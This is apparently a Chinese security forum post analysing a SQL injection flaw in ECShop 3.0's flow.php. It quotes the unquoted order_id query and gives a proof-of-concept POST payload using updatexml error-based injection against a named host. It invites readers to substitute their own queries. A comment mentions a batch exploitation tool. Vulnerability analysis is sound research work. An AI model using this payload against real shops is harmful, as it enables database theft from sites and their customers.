Ecshop3.0注入漏洞

Saber

0x0  前言

本文大多数内容来自于T00ls的https://www.t00ls.net/viewthread.php?tid=34104&extra=page=1&orderby=lastpost&filter=86400

0x1  内容

原文链接：http://www.wooyun.org/bugs/wooyun-2016-0212882

根据原文中 @破晓_Vampire 给出的提示

“flow.php 文件 —> order_id 参数吧”

于是乎就下了一套3.0的ecshop看了看 一看之下 还真发现了问题

漏洞文件 flow.php 2130-2135 行

[AppleScript] 纯文本查看 复制代码

/*漏洞代码：*/
    elseif ($_REQUEST['step'] == 'repurchase') {
    include_once('includes/cls_json.php');
    $order_id = strip_tags($_POST['order_id']);
    $order_id = json_str_iconv($order_id);
    $user_id = $_SESSION['user_id'];
    $json  = new JSON;
    $order = $db->getOne('SELECT count(*) FROM ' . $ecs->table('order_info') . ' WHERE order_id = ' . $order_id . ' and user_id = ' . $user_id);
    if (!$order) {
        $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
        die($json->encode($result));
    }

    $db->query('DELETE FROM ' .$ecs->table('cart') . " WHERE rec_type = " . CART_REPURCHASE);
    $order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table('order_goods') . " WHERE order_id = " . $order_id);
    $result = array('error' => 0, 'message' => '');
    foreach ($order_goods as $goods) {
        $spec = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']);
        if (!addto_cart($goods['goods_id'], $goods['goods_number'], $spec, $goods['parent_id'], CART_REPURCHASE)) {
            $result = false;
            $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
        }
    }
    die($json->encode($result));
    }

注意看$order_id
跟进 函数json_str_iconv

[AppleScript] 纯文本查看 复制代码

/*函数*/
function json_str_iconv($str)
{
    if (EC_CHARSET != 'utf-8')
    {
        if (is_string($str))
        {
            return addslashes(stripslashes(ecs_iconv('utf-8', EC_CHARSET, $str)));
        }
        elseif (is_array($str))
        {
            foreach ($str as $key => $value)
            {
                $str[$key] = json_str_iconv($value);
            }
            return $str;
        }
        elseif (is_object($str))
        {
            foreach ($str as $key => $value)
            {
                $str->$key = json_str_iconv($value);
            }
            return $str;
        }
        else
        {
            return $str;
        }
    }
    return $str;
}

这里显然没过滤了 再看看上面的SQL语句 居然没有单引号包含  这样就能直接注射了

0x3  POC
POST提交一下内容到 http://www.admintony.top/flow.php?step=repurchase

[AppleScript] 纯文本查看 复制代码

order_id=1 or updatexml(1,concat(0x7e,(user())),0) or 11#

在uesr()处填写注入语句即可！

sladjfksld

呵呵，刚周末把批量写出来了

3‘server

wooyun 都没公开 你就公开了

hygsso

学习一下。。